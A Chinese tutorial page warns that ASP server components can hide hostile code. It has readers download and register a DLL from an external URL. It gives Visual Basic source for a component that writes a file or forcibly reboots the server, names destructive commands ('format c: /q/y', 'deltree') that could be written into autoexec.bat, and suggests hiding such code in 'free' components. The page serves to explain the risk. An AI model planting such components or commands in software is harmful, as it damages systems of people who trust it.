明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

ASP組件中的安全問(wèn)題

[摘要]Microsoft推出的ASP(Active Server Page)以簡(jiǎn)單、易用、功能多、可擴(kuò)充性等強(qiáng)大功能得到了網(wǎng)友和大多數(shù)網(wǎng)管的喜愛(ài),大有完全代替CGI的趨勢(shì)。但是我要對(duì)你說(shuō),如果使用ASP的話,你網(wǎng)絡(luò)的安全同時(shí)也大大降低了!  在我繼續(xù)說(shuō)下去之前,請(qǐng)你完成以下步驟:  1.下載這個(gè)文件“h...

  Microsoft推出的ASP(Active Server Page)以簡(jiǎn)單、易用、功能多、可擴(kuò)充性等強(qiáng)大功能得到了網(wǎng)友和大多數(shù)網(wǎng)管的喜愛(ài),大有完全代替CGI的趨勢(shì)。但是我要對(duì)你說(shuō),如果使用ASP的話,你網(wǎng)絡(luò)的安全同時(shí)也大大降低了!

  在我繼續(xù)說(shuō)下去之前,請(qǐng)你完成以下步驟:
  1.下載這個(gè)文件“http://home.gbsource.net/xuankong/dll.zip”,解壓縮后把其中的test.dll文件拷貝到“c:\windows\system”(如果你是使用NT的話,請(qǐng)拷貝到相應(yīng)目錄);
  2.接下來(lái)打開(kāi)“開(kāi)始/運(yùn)行”菜單輸入“regsvr32 test.dll”命令;
  3.拷貝解壓縮后的文件包中的那個(gè)index.asp到你的服務(wù)器目錄(如果你是使用PWS‘Personal Web Server’調(diào)試可以拷貝到“c:\Inetpub\wwwroot”,NT請(qǐng)拷貝到相應(yīng)的目錄);
  4.換一臺(tái)機(jī)器用IE瀏覽index.asp文件看一看(你看到的是出錯(cuò)代碼,但是實(shí)際上程序已經(jīng)運(yùn)行了),你再返回你的機(jī)器看一看c:\下是否多了一個(gè)文件?!一個(gè)名為“xuankong.dat”的文件(其實(shí)如果我愿意,你的c:\autoexec.bat文件也可以被我打開(kāi)并寫入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新啟動(dòng)機(jī)器。嘿嘿……)。
  

  我們一起來(lái)看看到底是怎么一回事,你剛才拷貝的那些DLL文件其實(shí)是我使用Visul Basic 5.0開(kāi)發(fā)的一個(gè)組件:
  1.打開(kāi)VB5.0新建一個(gè)“ActiveX dll”文件,把下面的代碼錄入進(jìn)去。
  Private Declare Function ExitWindowsEx Lib ″user32″ _
  (ByVal uFlags As Long, ByVal dwReserved As Long) _
  As Long

  Sub xuankong()′請(qǐng)不要加上″private″  
 a$ = InputBox(″請(qǐng)輸入你的姓名,如果你的輸入是″xuankong″″ + Chr(13) + Chr(10) + ″則會(huì)在你的系統(tǒng)中生成一個(gè)″xuankong.dat″文件″ + Chr(10) + Chr(13) + ″否則的話你的機(jī)器可能重啟″, ″請(qǐng)輸入″, ″xuankong″)
  If a$ = ″xuankong″ Then

  Open ″c:\xuankong.dat″ For Append As #1

  Write #1, ″我的朋友,這是一個(gè)ASP組件的測(cè)試程序″

  Write #1, ″hello world!This is a test″

  Write #1, ″如果你看到這個(gè)文件表示測(cè)試成功。。 

  Else

  ExitWindowsEx &H43, 0′使用API函數(shù)重新啟動(dòng)機(jī)器

  End If

  Close #1 >

  End Sub
  

  2.把工程名改為dll,類模塊改為test,然后把這個(gè)工程生成DLL文件到c:\windows\system目錄下面。
  

  3.新建一個(gè)index.asp文件把下面的代碼錄入進(jìn)去。
  $#@60;% set rs=server.createobject(″dll.test″)%$#@62;
  $#@60;% set rs1=rs.xuankong    rs1.execute    %$#@62;
  

  4.拷貝index.asp到你的服務(wù)器內(nèi),按照上面所述進(jìn)行調(diào)試!   好了,如果你調(diào)試完成,有什么感覺(jué)???如果是使用VC++ 、Visual Java開(kāi)發(fā)(它們開(kāi)發(fā)出來(lái)的組件功能可更加強(qiáng)大);如果把上面的VB代碼改一下,加入到一些FTP組件、E-mail組件、HTTP組件、聊天室組件、計(jì)數(shù)器組件中……(凡是可以輸入/輸出的組件,沒(méi)法輸入/輸出的組件的破壞力有一定局限),再給這些組件加上一個(gè)好聽(tīng)的名字“免費(fèi)的……”你不上當(dāng)嗎(嘿嘿!說(shuō)不定你已經(jīng)上當(dāng)了,天下免費(fèi)的東西可是好東西!!!*^v^*)?
  

  上面所說(shuō)的是ASP組件的安全問(wèn)題!另外如果有些作者在寫ASP組件時(shí)不小心留下系統(tǒng)bug!那就更加不易被人發(fā)覺(jué)了!



相關(guān)文章